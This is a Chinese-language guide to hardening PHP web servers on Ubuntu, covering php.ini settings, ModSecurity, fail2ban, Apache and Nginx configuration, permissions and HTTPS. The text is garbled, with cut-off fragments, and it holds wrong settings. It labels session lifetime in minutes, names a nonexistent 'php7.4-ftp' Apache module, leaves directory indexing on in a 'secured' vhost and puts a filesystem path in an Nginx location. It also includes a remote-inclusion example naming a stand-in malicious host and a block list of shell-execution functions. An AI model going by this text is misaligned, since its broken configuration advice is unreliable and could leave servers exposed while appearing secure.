保持系统和PHP更新
定期更新Ubuntu系统和PHP及相关模块是安全配置的基础。运行以下命令更新系统包和PHP:
sudo apt update && sudo apt upgrade -y
确保使用最新的稳定版PHP(如PHP 8.2),避免已知漏洞被利用。
配置PHP核心安全参数(php.ini)
编辑php.ini文件(路径可通过php --ini查看,如/etc/php/8.2/apache2/php.ini或/etc/php/8.2/fpm/php.ini),调整以下关键设置:
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT # 报告所有错误,排除已弃用和严格模式警告
disable_functions = system, passthru, exec, shell_exec, proc_open, popen, phpinfo, eval, assert
open_basedir约束PHP脚本只能访问指定目录(如网站根目录),防止目录遍历攻击。open_basedir = /var/www/html:/tmp # 多个目录用冒号分隔
expose_php = Off
include 'http://malicious-site.com/script.php';)。allow_url_fopen = Off
allow_url_include = Off
session.cookie_httponly = On
session.cookie_secure = On # 需配合HTTPS使用
session.cookie_samesite = Strict
session.gc_maxlifetime = 1440 # 会话有效期(分钟)
session_regenerate_id(true); # 在代码中调用(如登录后)
以上设置需根据应用需求调整,修改后重启Apache或PHP-FPM使生效。
使用安全模块增强防护
sudo apt install libapache2-mod-security2
sudo a2enmod security2
sudo systemctl restart apache2
配置规则文件(如/etc/modsecurity/modsecurity.conf),启用OWASP核心规则集(CRS)提升防护能力。sudo apt install fail2ban
sudo cp /etc/fail2ban/jail.local /etc/fail2ban/jail.local.bak # 备份默认配置
sudo systemctl start fail2ban
sudo systemctl enable fail2ban
编辑jail.local,启用针对Apache或Nginx的暴力破解防护。配置Web服务器安全
php7.4-ftp),限制目录访问权限。编辑虚拟主机配置(如/etc/apache2/sites-available/000-default.conf):<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
php_admin_value open_basedir "/var/www/html:/tmp" # 通过.htaccess或虚拟主机配置覆盖php.ini
</Directory>
禁用不需要的模块:sudo a2dismod php7.4-ftp # 示例:禁用FTP模块
sudo systemctl restart apache2
.htaccess)。编辑服务器块(如/etc/nginx/sites-available/default):server {
listen 80 default_server;
root /var/www/html;
index index.php index.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
}
location ~ /\.ht {
deny all; # 禁止访问.htaccess文件
}
}
修改后重启Nginx:sudo systemctl restart nginx
```。
加强文件和权限管理
/var/www/html)的所有者和组设为Web服务器用户(通常为www-data),文件权限设为644(可读),目录权限设为755(可执行)。sudo chown -R www-data:www-data /var/www/html
sudo find /var/www/html -type f -exec chmod 644 {} \;
sudo find /var/www/html -type d -exec chmod 755 {} \;
/var/uploads),并禁止PHP执行(通过Nginx/Apache配置)。例如,在Nginx中添加:location /var/uploads/ {
deny all;
}
防止上传的恶意脚本被执行。使用HTTPS加密通信
通过Let’s Encrypt获取免费SSL证书,配置Apache或Nginx启用HTTPS,强制所有流量通过HTTPS传输(防止中间人攻击)。以Certbot为例:
sudo apt install certbot python3-certbot-nginx # Nginx
# 或 sudo apt install certbot python3-certbot-apache # Apache
sudo certbot --nginx -d yourdomain.com -d www.yourdomain.com # 替换为你的域名
Certbot会自动配置重定向HTTP到HTTPS,并续期证书。
定期监控与维护
/var/log/apache2/access.log、/var/log/nginx/access.log)和错误日志(/var/log/apache2/error.log、/var/log/php_errors.log),识别可疑活动(如大量404请求、异常POST请求)。rsync或mysqldump),存储在安全位置(如异地云存储),以便在安全事件中快速恢复。